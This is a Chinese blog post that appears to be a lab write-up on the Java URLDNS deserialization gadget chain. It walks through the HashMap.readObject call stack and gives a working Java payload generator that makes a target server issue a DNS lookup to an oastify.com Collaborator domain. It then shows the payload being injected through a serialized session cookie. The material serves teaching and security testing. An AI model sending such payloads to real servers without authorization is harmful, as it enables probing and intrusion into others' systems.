java安全-URLDNS链

Java HashMap

HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。

put()函数可以将键/值对添加到 HashMap 中

实例:

1
2
3
4
5
6
7
8
9
10
11
12
// 引入 HashMap 类      
import java.util.HashMap;

public class RunoobTest {
public static void main(String[] args) {
// 创建 HashMap 对象 Sites
HashMap<Integer, String> Sites = new HashMap<Integer, String>();
// 添加键值对
Sites.put(1, "Google");
System.out.println(Sites);
}
}

URLDNS利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
URL url = new URL("https://teb8v00spyotab56ycdr1x4co3uuik69.oastify.com");
//使用put将key置为一个url
map.put(url,null);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);//序列化对象
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();//反序列化对象
System.out.println(o);
}
}

HashMap这个类重载readObject函数。当服务器对序列化对象进行反序列化时,会调用readObject()方法。

调用栈:

1
2
3
4
5
6
7
ObjectInputStream.readObject()
-> HashMap.readObject()
-> HashMap.hash() (触发对 Key 的哈希计算)
-> URL.hashCode() (计算 URL 对象的哈希)
-> URLStreamHandler.hashCode()
-> URLStreamHandler.getHostAddress() (试图获取域名的 IP 地址)
-> InetAddress.getByName() (发起真实的 DNS 解析请求)
image-20260706153948307

readObject函数中,调用了hash方法:

image-20260707170007273

进入hash方法,当key不等于NULL时,会调用hashcode()方法

image-20260707172927140

当key为URL时,hashcode默认为-1,会调用URL的hashcode方法:

image-20260706182701534

当key为url时,会进行dns查询。

image-20260706182746136 image-20260706182825063 image-20260707175500672

实例:Exploiting Java deserialization with Apache Commons

本实验使用基于序列化的会话机制。参数session是个序列化对象

image-20260708115823755

利用URLDNS链,进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class MyURLDNSGenerator {
public static void main(String[] args) throws Exception{
// 1. 填入你的盲测 DNS 接收域名
String dnsLogUrl = "https://am0uyz24lcdphuqw31qcerd4evkm8cw1.oastify.com";
String outputFile = "urldns.ser";
System.out.println("[*] 开始手动构建 URLDNS 链...");

// 2. 创建一个空的 HashMap 和 URL 对象
HashMap<URL, String> map = new HashMap<>();
URL url = new URL(dnsLogUrl);

// 3. 【核心技巧】利用反射获取 URL 类的私有属性 hashCode
Field hashCodeField =URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,233);
// 5. 将 URL 作为 Key 放入 HashMap
map.put(url, "anything");

// 6. 【埋下炸弹】放完之后,再通过反射把 hashCode 强行改回 -1
// 这样当靶场反序列化它时,就会判定“没计算过哈希”,从而在靶场触发 DNS 请求
hashCodeField.set(url, -1);

// 7. 将这个“加了料”的 HashMap 序列化并写出到本地文件urldns.ser
FileOutputStream fos = new FileOutputStream(outputFile);
ObjectOutputStream oos = new ObjectOutputStream(fos);
//ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(outputFile));
oos.writeObject(map);

oos.close();
fos.close();

System.out.println("[+] Payload 生成成功!文件已保存至: " + outputFile);

}
}

将 Payload 转换为 Base64 编码:

CyberChef 操作:urldns.ser 作为 Input 载入,左侧搜索 To Base64 拖入 Recipe,复制 Output 框生成的纯文本字符串。

image-20260708115219933

将刚刚生成的 URLDNS Base64 字符串粘贴进去,将其替换。按下 Ctrl + U(进行 URL 编码为了防止 Base64 中的 +/= 等符号在 HTTP 传输中被解析错误)。

image-20260708115320783

发送

回到 Burp Collaborator 窗口,点击 Poll now。弹出了几条全新的记录

image-20260708115347720

参考:

https://www.cnblogs.com/1vxyz/p/17231164.html

Previous postnexus渗透思路Next postnacos历史漏洞复现